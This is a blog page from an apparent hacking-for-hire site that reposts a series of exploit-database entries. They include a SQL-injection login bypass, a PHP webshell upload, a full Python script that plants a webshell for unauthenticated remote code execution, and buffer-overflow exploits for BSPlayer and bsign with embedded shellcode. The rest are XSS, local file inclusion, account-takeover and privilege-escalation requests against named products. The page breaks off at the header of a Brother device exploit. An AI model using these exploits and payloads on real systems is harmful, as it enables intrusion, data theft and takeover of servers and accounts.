Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863129038

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Budget and Expense Tracker System 1.0 - Authenticated Bypass
# Exploit Author: Prunier Charles-Yves
# Date: September 20, 2021
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/expense_budget.zip
# Tested on: Linux, windows
# Vendor: oretnom23
# Version: v1.0

# Exploit Description:
Budget and Expense Tracker System 1.0, is prone to an Easy authentication bypass vulnerability on the application 
allowing the attacker to login with admin acount


----- PoC: Authentication Bypass -----

Administration Panel: http://localhost/expense_budget/admin/login.php

Username: admin' or ''=' --
HireHackking 
# Exploit Title: Budget and Expense Tracker System 1.0 - Arbitrary File Upload 
# Exploit Author: ()t/\/\1
# Date: 23/09/2021
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
# Tested on: Linux
# Version: 2.0

# Exploit Description:
The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input. An attacker can exploit these issues to upload arbitrary files in the context of the web server process and execute commands.


# PoC request 

POST /expense_budget/classes/Users.php?f=save HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/expense_budget/admin/?page=user
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------1399170066243244238234165712
Content-Length: 824
Connection: close
Cookie: PHPSESSID=a36f66fa4a5751d4a15db458d573139c

-----------------------------1399170066243244238234165712
Content-Disposition: form-data; name="id"

1
-----------------------------1399170066243244238234165712
Content-Disposition: form-data; name="firstname"

A
-----------------------------1399170066243244238234165712
Content-Disposition: form-data; name="lastname"

a
-----------------------------1399170066243244238234165712
Content-Disposition: form-data; name="username"

admin
-----------------------------1399170066243244238234165712
Content-Disposition: form-data; name="password"


-----------------------------1399170066243244238234165712
Content-Disposition: form-data; name="img"; filename="na3na3.php"
Content-Type: image/jpeg

<?php echo "<pre>";system($_GET['cmd']); ?>
-----------------------------1399170066243244238234165712--
HireHackking 
# Exploit Title: Budget and Expense Tracker System 1.0 -  Remote Code Execution (RCE) (Unauthenticated)
# Exploit Author: Abdullah Khawaja (hax.3xploit)
# Date: 2021-09-21
# Vendor Homepage: https://www.sourcecodester.com/php/14893/budget-and-expense-tracker-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/expense_budget.zip
# Version: 2.0
# Tested On: Kali Linux, Windows 10 + XAMPP 7.4.4
# Description: Budget and Expense Tracker System 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.



# RCE via executing exploit:
    # Step 1: run the exploit in python with this command: python3 BMAETS_v1.0.py
    # Step 2: Input the URL of the vulnerable application: Example: http://localhost/expense_budget/


import requests, sys, urllib, re
import datetime
from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)





header = Style.BRIGHT+Fore.RED+'              '+Fore.RED+' Abdullah '+Fore.RED+'"'+Fore.RED+'hax.3xploit'+Fore.RED+'"'+Fore.RED+' Khawaja\n'+Style.RESET_ALL

print(Style.BRIGHT+"               Budget and Expense Tracker System 1.0")
print(Style.BRIGHT+"            Unauthenticated Remote Code Execution"+Style.RESET_ALL)
print(header)

print(r"""
        ______ _______                         ________        
        ___  //_/__  /_______ ___      _______ ______(_)_____ _
        __  ,<  __  __ \  __ `/_ | /| / /  __ `/____  /_  __ `/
        _  /| | _  / / / /_/ /__ |/ |/ // /_/ /____  / / /_/ / 
        /_/ |_| /_/ /_/\__,_/ ____/|__/ \__,_/ ___  /  \__,_/  
                                               /___/           
                    abdullahkhawaja.com
            """)



GREEN =  '\033[32m' # Green Text
RED =  '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults

proxies = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'}


#Create a new session
s = requests.Session() 


#Set Cookie
cookies = {'PHPSESSID': 'd794ba06fcba883d6e9aaf6e528b0733'}

LINK=input("Enter URL of The Vulnarable Application : ")


def webshell(LINK, session):
    try:
        WEB_SHELL = LINK+'/uploads/'+filename
        getdir  = {'cmd': 'echo %CD%'}
        r2 = session.get(WEB_SHELL, params=getdir, verify=False, proxies=proxies)
        status = r2.status_code
        if status != 200:
            print (Style.BRIGHT+Fore.RED+"[!] "+Fore.RESET+"Could not connect to the webshell."+Style.RESET_ALL)
            r2.raise_for_status()
        print(Fore.GREEN+'[+] '+Fore.RESET+'Successfully connected to webshell.')
        cwd = re.findall('[CDEF].*', r2.text)
        cwd = cwd[0]+"> "
        term = Style.BRIGHT+Fore.GREEN+cwd+Fore.RESET
        while True:
            thought = input(term)
            command = {'cmd': thought}
            r2 = requests.get(WEB_SHELL, params=command, verify=False)
            status = r2.status_code
            if status != 200:
                r2.raise_for_status()
            response2 = r2.text
            print(response2)
    except:
        print("\r\nExiting.")
        sys.exit(-1)


#Creating a PHP Web Shell

phpshell  = {
               'img': 
                  (
                   'shell.php', 
                   '<?php echo shell_exec($_REQUEST["cmd"]); ?>', 
                   'application/octet-stream', 
                  {'Content-Disposition': 'form-data'}
                  ) 
             }

# Defining value for form data
data = {'name':'Budget and Expense Tracker System - PHP', 'short_name':'B&E Tracker'}


def id_generator():
    x = datetime.datetime.now()
    date_string = x.strftime("%y-%m-%d %H:%M")
    date = datetime.datetime.strptime(date_string, "%y-%m-%d %H:%M")
    timestamp = datetime.datetime.timestamp(date)
    file = int(timestamp)
    final_name = str(file)+'_shell.php'
    return final_name

filename = id_generator()
#Uploading Reverse Shell
print("[*]Uploading PHP Shell For RCE...")
upload = s.post(LINK+'classes/SystemSettings.php?f=update_settings', cookies=cookies, files=phpshell, data=data,  proxies=proxies)

shell_upload = True if("1" in upload.text) else False
u=shell_upload
if u:
	print(GREEN+"[+]PHP Shell has been uploaded successfully!", RESET)
else:
	print(RED+"[-]Failed To Upload The PHP Shell!", RESET)



#Executing The Webshell
webshell(LINK, s)
HireHackking 
# Exploit Title:  Plugin Buddypress Xprofile Custom Fields Type 2.6.3 RCE – Unlink
# Date: 08/04/2018
# Exploit Author: Lenon Leite
# Vendor Homepage:
# https://wordpress.org/plugins/buddypress-xprofile-custom-fields-type/
# Software Link:
# https://wordpress.org/plugins/buddypress-xprofile-custom-fields-type/
# Contact: http://twitter.com/lenonleite
# Website: http://lenonleite.com.br/
# Category: webapps
# Version: 2.6.3
# Tested on: Ubuntu 16.1
#
#Article:
#http://lenonleite.com.br/publish-exploits/plugin-buddypress-xprofile-custom-fields-type-2-6-3-rce-unlink/
#
#Video:
#https://www.youtube.com/watch?v=By7kT7UbHVk
#

1 - Description
  - Type user access: any user registered used in BuddyPress.
  - $_POST[ 'field_' . $field_id . '_hiddenfile' ] is not escaped.
  - $_POST[ 'field_' . $field_id . '_deleteimg' ] is not escaped.


2. Proof of Concept

Login as regular user.

1- Log in with BuddyPress User

2 - Access Edit Profile:

http://target/members/admin/profile/edit/

3 - Register data with image:

 <http://target/wp-content/uploads/2018/01/buddypress-profile.png>4
- Change parameter to delete image in html and save profile:
<http://target/wp-content/uploads/2018/01/buddypress-profile2.png>
 <http://target/wp-content/uploads/2018/01/buddypress-profile3-1.png>

#-- 
#*Atenciosamente*
#
#*Lenon Leite*
HireHackking 
# # # # # 
# Exploit Title: Vastal I-Tech Facebook Clone 2.9.9 - SQL Injection
# Dork: N/A
# Date: 27.01.2018
# Vendor Homepage: http://vastal.com/
# Software Link: http://vastal.com/buddy-zone-social-networking-script.html
# Version: 2.9.9
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an users to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/chat_im/chat_window.php?request_id=[SQL]
# 
# -551++/*!13337UNION*/+/*!13337SELECT*/+1,(Select+export_set(5,@:=0,(select+count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2)),3,4,5,6,7,8,9--+-
# 
# http://localhost/[PATH]/search_events.php?category=[SQL]
# 
# # # # #
HireHackking 
# Exploit Title: Budabot 4.0 - Denial of Service (PoC)
# Date: 2018-10-15
# Exploit Author: Ryan Delaney
# Author Contact: ryan.delaney@owasp.org
# Vendor Homepage: http://budabot.com/
# Software Link: http://budabot.com/forum/viewtopic.php?f=8&t=1413
# Version: 0.6 -> 4.0
# Tested on: 4.0
# CVE: CVE-2018-19290

# 1. Description
# In modules/HELPBOT_MODULE in Budabot 0.6 through 4.0, lax syntax validation
# allows remote attackers to perform a command injection attack against the
# PHP daemon with a crafted command, resulting in a denial of service or
# possibly unspecified other impact. In versions before 3.0,
# modules/HELPBOT_MODULE/calc.php has the vulnerable code; in 3.0 and above,
# modules/HELPBOT_MODULE/HelpbotController.class.php has the vulnerable code.

# 2. Proof of Concept

Start the Budabot listener, set valid configuration options, and wait for
the chatbot to announce it's ready in-game.
Send the chatbot a private message containing "!calc 5 x 5", and the
Budabot listener will terminate.
HireHackking 
# Exploit Title: BTCPay Server v1.7.4 - HTML Injection
# Date: 01/26/2023
# Exploit Author: Manojkumar J (TheWhiteEvil)
# Vendor Homepage: https://github.com/btcpayserver/btcpayserver
# Software Link:
https://github.com/btcpayserver/btcpayserver/releases/tag/v1.7.5
# Version: <=1.7.4
# Tested on: Windows10
# CVE : CVE-2023-0493

# Description:

BTCPay Server v1.7.4 HTML injection vulnerability.

# Steps to exploit:

1. Create an account on the target website.

Register endpoint: https://target-website.com/register#

2. Move on to the API key and create API key with the html injection in the
label field.

Example:

<a href="https://hackerbro.in">clickhere</a>


3. Click remove/delete API key, the html injection will render.
HireHackking 
source: https://www.securityfocus.com/bid/57243/info

BT Home Hub is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data before copying it to an insufficiently sized buffer.

An attacker can exploit this issue to gain elevated privileges and execute arbitrary code with root privileges. Failed exploit attempts will likely crash the affected application.

BT Home Hub 3.0b is vulnerable; other versions may also be affected.

# 
*******************************************************************************
# 
*******************************************************************************
# ***************** These files are licensed GPLv2. ****************
# ******************* See included LICENSE for more info. 
*******************
# 
*******************************************************************************
# 
*******************************************************************************
# ************************ From your leet hacking cr3w 
************************
# ******************************* *******************************
# ********************************** at 
**********************************
# ************ http://www.tacnetsol.com ***********
# 
*******************************************************************************
# Copyright (c) 2013 Zachary Cutlip
# Tactical Network Solutions, LLC
class MsearchCrash:
def __init__(self,overflowbuffer):
self.__msearch_text__=\
"M-SEARCH * HTTP/1.1\r\n"+\
"HOST:239.255.255.250:1900\r\n"+\
"ST:uuid:"+str(overflowbuffer)+"\r\n"\
"MX:2\r\n"+\
'MAN:"ssdp:discover"'+"\r\n\r\n"

def __str__(self):
return self.__msearch_text__
HireHackking 
source: https://www.securityfocus.com/bid/56109/info

BSW Gallery is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. 

Code in uploadpic.php

print "<form method=\"POST\" action=\"dopic.php\"enctype=\"multipart/form-data\" style=\"width: 227px\">";
print "<table align=\"center\" style=\"width: 600px\"dir=\"ltr\"><tr><th align=\"right\"width=\"120\" class=\"topic\"><b>File Upload:</b></th>";
print "<th align=\"left\"><input type=\"file\" name=\"fileupload\"></th></tr>";
print "<tr><th><input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"10240000\"></th></tr></table>";
print"<table align=\"center\"width=\"600\"dir=\"ltr\">";
print"<th class=\"topic\"width=\"120\"align=\"right\">Image Title</th><th align=\"left\"><input style=\"width:400\"type=\"text\" name=\"picture\" /></th></table>";
print"<table align=\"center\"dir=\"ltr\" width=\"600\"><th class=\"topic\" width=\"120\"align=\"right\">Image Description</th>";
print"<th align=\"left\"><textarea name=\"descrip\"cols=\"48\"rows=\"5\">&lt;/textarea&gt;</th></table>";

   Code in dopic.php

$fname=$_POST['picture'];
$descrip=$_POST['descrip'];
$file_dir ="gallery/";


foreach($_FILES as $file_name => $file_array) {
  echo "path: ".$file_array["tmp_name"]."<br/>\n";
  echo "name: ".$file_array["name"]."<br/>\n";
  echo "type: ".$file_array["type"]."<br/>\n";
  
  echo "size: ".$file_array["size"]."<br/>\n";

  if (is_uploaded_file($file_array["tmp_name"])) {
    move_uploaded_file($file_array["tmp_name"], "$file_dir/".$file_array["name"]) or die ("Couldn't copy");
    echo "Done!<br/>";
  }
   
}
$image=$file_dir.$file_array["name"];
$ip = getenv("REMOTE_ADDR");
$sql = "insert into gallery (picture,files,descrip,updated)values('$fname','$image','$descrip',now());";
mysql_query($sql,$mysql);
mysql_close($mysql);

------------------------------------------------------------------------------------
 Proof of Concept  :                                                                                                                              
 http://www.example.com/path_gallery/uploadpic.php                                                                                                         
 Shell :                                                                            
                                                                                    
 http://www.example.com/path_gallery/gallery/shell.php                                          
                                                                                    
 See for the demo :                                                                 
                                                                                    
 http://www.example.com/demo/demo1.png                                                    
 http://www.example.com/demo/demo2.png                                                    
 http://www.example.com/demo/demo3.png
HireHackking 
#!/usr/bin/python

''' Bsplayer suffers from a buffer overflow vulnerability when processing the HTTP response when opening a URL.
In order to exploit this bug I partially overwrited the seh record to land at pop pop ret instead of the full
address and then used backward jumping to jump to a long jump that eventually land in my shellcode.

Tested on : windows xp sp1 - windows 7 sp1 - Windows 8 Enterprise it might work in other versions as well just give it a try :)

My twitter: @fady_osman
My youtube: https://www.youtube.com/user/cutehack3r
'''

import socket
import sys
s = socket.socket()         # Create a socket object
if(len(sys.argv) < 3):
  print "[x] Please enter an IP and port to listen to."
  print "[x] " + sys.argv[0] + " ip port"
  exit()
host = sys.argv[1]	    # Ip to listen to.
port = int(sys.argv[2])     # Reserve a port for your service.
s.bind((host, port))        # Bind to the port
print "[*] Listening on port " + str(port)
s.listen(5)                 # Now wait for client connection.
c, addr = s.accept()        # Establish connection with client.
# Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.
print(('[*] Sending the payload first time', addr))
c.recv(1024)
#seh and nseh.
buf =  ""
buf += "\xbb\xe4\xf3\xb8\x70\xda\xc0\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x33\x31\x58\x12\x83\xc0\x04\x03\xbc\xfd\x5a"
buf += "\x85\xc0\xea\x12\x66\x38\xeb\x44\xee\xdd\xda\x56\x94"
buf += "\x96\x4f\x67\xde\xfa\x63\x0c\xb2\xee\xf0\x60\x1b\x01"
buf += "\xb0\xcf\x7d\x2c\x41\xfe\x41\xe2\x81\x60\x3e\xf8\xd5"
buf += "\x42\x7f\x33\x28\x82\xb8\x29\xc3\xd6\x11\x26\x76\xc7"
buf += "\x16\x7a\x4b\xe6\xf8\xf1\xf3\x90\x7d\xc5\x80\x2a\x7f"
buf += "\x15\x38\x20\x37\x8d\x32\x6e\xe8\xac\x97\x6c\xd4\xe7"
buf += "\x9c\x47\xae\xf6\x74\x96\x4f\xc9\xb8\x75\x6e\xe6\x34"
buf += "\x87\xb6\xc0\xa6\xf2\xcc\x33\x5a\x05\x17\x4e\x80\x80"
buf += "\x8a\xe8\x43\x32\x6f\x09\x87\xa5\xe4\x05\x6c\xa1\xa3"
buf += "\x09\x73\x66\xd8\x35\xf8\x89\x0f\xbc\xba\xad\x8b\xe5"
buf += "\x19\xcf\x8a\x43\xcf\xf0\xcd\x2b\xb0\x54\x85\xd9\xa5"
buf += "\xef\xc4\xb7\x38\x7d\x73\xfe\x3b\x7d\x7c\x50\x54\x4c"
buf += "\xf7\x3f\x23\x51\xd2\x04\xdb\x1b\x7f\x2c\x74\xc2\x15"
buf += "\x6d\x19\xf5\xc3\xb1\x24\x76\xe6\x49\xd3\x66\x83\x4c"
buf += "\x9f\x20\x7f\x3c\xb0\xc4\x7f\x93\xb1\xcc\xe3\x72\x22"
buf += "\x8c\xcd\x11\xc2\x37\x12"

jmplong = "\xe9\x85\xe9\xff\xff"
nseh = "\xeb\xf9\x90\x90"
# Partially overwriting the seh record (nulls are ignored).
seh = "\x3b\x58\x00\x00"
buflen = len(buf)
response = "\x90" *2048 + buf + "\xcc" * (6787 - 2048 - buflen) + jmplong + nseh + seh #+ "\xcc" * 7000
c.send(response)
c.close()
c, addr = s.accept()        # Establish connection with client.
# Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.
print(('[*] Sending the payload second time', addr))
c.recv(1024)
c.send(response)
c.close()
s.close()
HireHackking 
# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com>
# Program: bsign - embed and verify secure hashes and digital signatures
# Tested on: GNU/Linux - Kali Linux 2.0
#
# Description: BSIGN v0.4.5 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this issue to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Vendor homepage: http://www.debian.org
# Kali Linux 2.0 package: http.kali.org_kali_dists_sana_main_binary-i386_Packages
# MD5: 0fc1d2e9c374c1156b2b02186a9f8980

import os,subprocess
def run():
  try:
    print "# BSIGN v0.4.5 Stack-BoF by Juan Sacco"
    print "# Wasting CPU clocks on unusable exploits"
    print "# This exploit is for educational purposes only"
    # Basic structure: JUNK + SHELLCODE + NOPS + EIP
    junk = "\x41"*8
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*248
    eip = "\x10\xd3\xff\xbf"
    subprocess.call(["bsign -f",'-f ', junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "BSIGN not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Sorry, something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit BSign 0.4.5 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
HireHackking 
# Exploit Title:BSI Advance Hotel Booking System Persistent XSS
# Google Dork: intext:Hotel Booking System v2.0 © 2008 - 2012 Copyright Best Soft Inc
# Date: Wed Jun 4 2014
# Exploit Author: Angelo Ruwantha
# Vendor Homepage: http://www.bestsoftinc.com
# Software Link: http://www.bestsoftinc.com/php-advance-hotel-booking-system.html
# Version: V2.0
# Tested on: archlinux
# CVE : CVE-2014-4035

Vulnerability
========================

[+]Method:POST

1.http://URL/hotel-booking/booking_details.php (;persistent XSS)

allowlang=&title=<IMG SRC="javascript:alert('HelloWorld ;)');"&fname=&lname=&str_addr=&city=&state=&zipcode=&country=&phone=&fax=&email=&payment_type=&message=&tos=


every parameter injectable :)
HireHackking 
# Exploit title: BSA Radar 1.6.7234.24750 - Persistent Cross-Site Scripting
# Exploit Author: William Summerhill
# Date: 2020-06-22
# Vendor homepage: https://www.globalradar.com/
# Tested on: Window
# CVE-2020-14943

# Description: The "Firstname" and "Lastname" parameters in Global RADAR BSA Radar 1.6.7234.X 
# are vulnerable to a stored Cross-Site Scripting (XSS) via the Update User Profile feature 
# (in the top-right of the application).

# Proof of Concept:

Using the "update user profile" feature in the top-right of the application while logged in, 
a malicious user can inject malicious, unencoded scripts, such as "<script>alert(1)</script>", 
into the Firstname and Lastname parameters of a user account. This stored XSS will execute on 
nearly every application page as these parameters are always present while logged in. This attack 
can be further leveraged by utilizing an existing authorization bypass exploit (CVE-2020-14944) 
to inject stored XSS payloads into these parameters for arbitrary existing user accounts.

Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14943
HireHackking 
# Exploit title: BSA Radar 1.6.7234.24750 - Local File Inclusion
# Date: 2020-07-08
# Exploit Author: William Summerhill
# Vendor homepage: https://www.globalradar.com/
# Version: BSA Radar - Version 1.6.7234.24750 and lower
# CVE-2020-14946 - Local File Inclusion

# Description: The Administrator section of the Surveillance module in Global RADAR - BSA Radar 1.6.7234.X 
# and lower allows users to download transaction files. When downloading the files, 
# a user is able to view local files on the web server by manipulating the FileName 
# and FilePath parameters in the URL, or while using a proxy. This vulnerability could 
# be used to view local sensitive files or configuration files on the backend server.

	Vulnerable endpoint: /UC/downloadFile.ashx

	The current user is required to have valid privileges to send requests to the target vulnerable endpoint.

Proof of Concept:

	HTTP Request PoC:

		VALID REQUEST:
		GET /UC/downloadFile.ashx?ID=XXXX&FileName=SOMEFILE.TXT&UploadStyle=1&UploadStyle=1&UploadSource=6

		LFI EXPLOIT REQUEST:
		GET /UC/downloadFile.ashx?ID=XXXX&FileName=C:\Windows\debug\NetSetup.log&UploadStyle=1&UploadSource=6

	The entire LFI path can be injected into the "FileName" parameter in order to enumerate existing files on the server. Other LFI files can be tested (such as the Windows hosts file) for further verification and disclosures.

Tested on: Windows

CVE: CVE-2020-14946

Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14946
HireHackking 
# Exploit title: BSA Radar 1.6.7234.24750 - Cross-Site Request Forgery (Change Password)
# Exploit Author: William Summerhill
# Date: 2020-06-22
# Vendor Homepage:bhttps://www.globalradar.com/
# Version: BSA Radar - Version 1.6.7234.24750 and lower
# CVE: CVE-2020-14944

# Description: The Global RADAR BSA Radar 1.6.7234.X application lacks valid authorization 
# controls in multiple functions while logged into the application. 
# This can allow for manipulation and takeover of user accounts if successfully exploited.

# The following vulnerable functions are exposed: ChangePassword, SaveUserProfile, GetUser

Proof of Concept:

	1. ChangePassword API endpoint - Allows the ability to update the password belonging to another account by their UserID, and therefore leading to account takeover.
	HTTP Request PoC:
		POST /WS/AjaxWS.asmx/ChangePassword

		{"password":
		{"UserID":XXXX,"NewPassword":"NEWPASSHERE","NewPasswordConfirm":"NEWPASSHERE",<REMAINDER OF REQUEST HERE>} }

	The UserID and NewPassword parameters can be forged to force the password change of another existing user account by using their UserID.

	2. SaveUserProfile API endpoint - Allows the ability to update the user profile belonging to another account by using their UserID. This includes modifiable details like first name, last name, email, and phone number. This also allows for injection of a Stored Cross-Site Scripting (XSS) into arbitrary user account profiles as the first name and last name parameters are vulnerable. This can allow for session hijacking, stealing application data or redirecting users to attacker-controlled applications for phishing attacks.
	HTTP Request PoC:
		POST /WS/AjaxWS.asmx/SaveUserProfile

		{"user":
		{"UserID":XXXX,"BankID":XXX,"Firstname":<ARBITRARY INPUT HERE OR STORED XSS SCRIPT>","Lastname":"<ARBITRARY INPUT HERE OR STORED XSS SCRIPT>","Title":"","Phone":"<ARBITRARY INPUT HERE>","Email":"<Correct email here>",<REMAINDER OF REQUEST HERE>} }

	Multiple paramaters above can be forged and modified for existing UserID accounts. The Firstname and Lastname parameters are vulnerable to a stored XSS attack which can be used to inject malicious scripts into existing user accounts to steal sessions or account data, or to redirect users to malicious pages. 

	3. GetUser API endpoint - Allows the ability to view the user account details of any arbitrary user by enumerating their UserID.
	HTTP Request PoC:
		POST /WS/AjaxWS.asmx/GetUser

		{"userID":XXXX }

	The UserID paramter can be forged to enumerate over existing userID's in order to return their account details such as full name, username, user permissions, account role, email, and password question.

Tested on: Windows

CVE: CVE-2020-14944

Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14944
HireHackking 
# Exploit Title: BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation
# Date: 2020-07-06
# Exploit Author: William Summerhill
# Vendor homepage: https://www.globalradar.com/
# Version: BSA Radar - Version 1.6.7234.24750 and lower
# CVE-2020-14945 - Privilege Escalation
Description: A privilege escalation vulnerability exists within Global RADAR BSA Radar 1.6.7234.X that allows an authenticated, low-privileged user to escalate their privileges to administrator rights (i.e. the "BankAdmin" role) via a forged request to the SaveUser API.

Proof of Concept:
	The privilege escalation is achieved by saving the response of the GetUser request (from clicking the username in the top right). When this profile is saved it will send a request to the SaveUserProfile endpoint. This response can be saved and modified (while updating it as needed to escalate privileges to BankAdmin role) then sent to the SaveUser endpoint which is the endpoint used for admins to update privileges of any user. After successful privilege escalation, a user can then access the Administration features and modify the application or accounts, cause further damage to the application and users, or exfiltrate application data.

	HTTP Request PoC:
		POST /WS/AjaxWS.asmx/SaveUser

		{"user":
		{"UserID":<CURRENT USER ID>,"Username":"...","Firstname":"...","Lastname":"...","Email":"...","BranchID":"...","Role":"BANKADMIN","WireLimit":"XXXXXXX","BankID":"...","Permissions":["XXXXXXXXXXXXXXX"], <REMAINDER OF REQUEST HERE> } }

	The Role, WireLimit and Permissions parameters can be forged to forcefully change your current user permissions to elevate them to a higher role such as BankAdmin with full account modification permissions. 
	
Tested on: Windows

CVE: CVE-2020-14945

Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14945
HireHackking 
source: https://www.securityfocus.com/bid/51060/info
  
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/modules/admin/admin_module_index.php/%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E
http://www.example.com/modules/calendar/customise_calendar_times.php/%22%3E%3Cscript%3Ealert%28document.cooki e%29;%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/51060/info

Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/modules/Documents/version_list.php?parent_id=1%20AND%201=2%20--%202
HireHackking 
source: https://www.securityfocus.com/bid/51060/info
      
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
      
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/index.php" method="post">
<input type="hidden" name="loginwww.example.com" value=&#039;"><script>alert(1);</script>&#039;>
<input type="hidden" name="login[password]" value=&#039;"><script>alert(2);</script>&#039;>
<input type="hidden" name="login[rebuild_cache]" value=&#039;"><script>alert(3);</script>&#039;>
<input type="hidden" name="login[remember_me]" value=&#039;"><script>alert(4);</script>&#039;>
<input type="hidden" name="login[skin]" value=&#039;"><script>alert(5);</script>&#039;>
<input type="hidden" name="login[username]" value=&#039;"><script>alert(6);</script>&#039;>
<input type="submit" value="submit" id="btn">
</form>
HireHackking 
source: https://www.securityfocus.com/bid/51060/info
   
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
   
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/licence/index.php?framed=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/51060/info
 
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

http://www.example.com/modules/Documents/index.php?id=1&contact_id=1%27%20OR%20%271%27=%271
HireHackking 
source: https://www.securityfocus.com/bid/51060/info
     
Browser CRM is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
Browser CRM 5.100.01 is vulnerable; prior versions may also be affected. 

<form action="http://www.example.com/pub/clients.php" method="post">

<input type="hidden" name="loginwww.example.com" value=&#039;"><script>alert(1);</script>&#039;>
<input type="hidden" name="login[username]" value=&#039;"><script>alert(2);</script>&#039;>
<input type="hidden" name="login[password]" value=&#039;"><script>alert(3);</script>&#039;>
<input type="hidden" name="login[webform]" value=&#039;"><script>alert(4);</script>&#039;>
<input type="hidden" name="login[disable_email_check]" value=&#039;"><script>alert(5);</script>&#039;>
<input type="hidden" name="login[client_email]" value=&#039;"><script>alert(6);</script>&#039;>
<input type="hidden" name="login[client_password]" value=&#039;"><script>alert(7);</script>&#039;>
<input type="submit" value="submit" id="btn">
</form>
HireHackking 
<?php

/*	
								 
# Title: Brother Devices Web Auth Bypass / Change Password Exploit
# Vendor: Brother (http://www.brother.com/)
